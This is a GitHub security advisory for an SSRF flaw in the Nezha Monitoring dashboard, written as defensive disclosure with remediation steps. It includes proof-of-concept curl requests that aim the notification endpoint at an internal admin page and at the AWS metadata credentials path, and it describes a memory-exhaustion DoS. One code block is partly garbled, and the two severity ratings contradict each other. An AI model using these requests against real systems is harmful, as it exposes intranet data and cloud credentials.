GitHub Advisoryadvisory · Go
GHSA-w4g9-mxgg-j532 Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification
HIGH
Official page ↗
- Aliases
- CVE-2026-46717
- Ecosystem
- Go
- Packages
- github.com/nezhahq/nezha
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-863, CWE-918
- Reviewed
- 2026-05-23
Affected packages
• Go github.com/nezhahq/nezha: >= 1.4.0, < 1.14.15-0.20260517022419-d06d539d34c1 → fixed in 1.14.15-0.20260517022419-d06d539d34c1
Description
Summary
nezha's dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are wired through `commonHandler` rather than `adminHandler` — so a `RoleMember` user can call them. These handlers synchronously `Send()` an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege `RoleMember` can read intranet HTTP response bodies via the dashboard's hub.
Affected versions
Commit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.
Reachability chain
```
cmd/dashboard/controller/controller.go:121-122
auth.GET("/notification", listHandler(listNotification))
auth.POST("/notification", commonHandler(createNotification)) // 299 {
body, _ := io.ReadAll(resp.Body) // " \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
```
Response:
```json
{"success":false,"error":"401@Unauthorized "}
```
B. AWS IMDSv2 reachability + body leak
```bash
curl -X POST -H "Authorization: Bearer " \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
```
IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
C. DoS via large internal file
Because the body is read via unbounded `io.ReadAll`, a `RoleMember` pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Suggested fix
1. Switch /notification routes to `adminHandler`. Same fix for `/alert-rule`, `/cron`, `/ddns` if they also issue user-URL requests synchronously. Compare with how `/user` is already guarded.
```go
auth.POST("/notification", adminHandler(createNotification))
auth.PATCH("/notification/:id", adminHandler(updateNotification))
```
2. SSRF-harden `NotificationServerBundle.Send()`:
• Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT.
• Pin `http.Transport.DialContext` to the resolved IP — closes DNS-rebinding TOCTOU.
• Refuse non-http(s) schemes.
3. Cap response body: `io.LimitReader(resp.Body, 4096)`. 4 KB is plenty for surfacing webhook errors.
4. Reconsider `VerifyTLS=false` toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.
Severity
• CVSS 3.1: Medium — `AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L` ≈ 6.4. PR:L because attacker needs a `RoleMember` account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
• Auth: authenticated `RoleMember` (Role == 1).
Reproduction environment
• Tested against: `nezhahq/nezha:v0.x` (commit `50dc8e660326b9f22990898142c58b7a5312b42a`).
• Code locations:
• Handler: `cmd/dashboard/controller/notification.go:46-83, 97-146`
• Sink: `model/notification.go:113-159`
• Auth gate: `cmd/dashboard/controller/controller.go:121-122` (commonHandler), 214-236 (handler defs)
Reporter
Eddie Ran. Filed via reporter API (PVR enabled). nezha's `SECURITY.md` mentions email `[email protected]` for vulnerability reports — happy to also send via email if the maintainer prefers.
Related
Alias · CVE (1)
- CVE-2026-46717 Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. vulnerability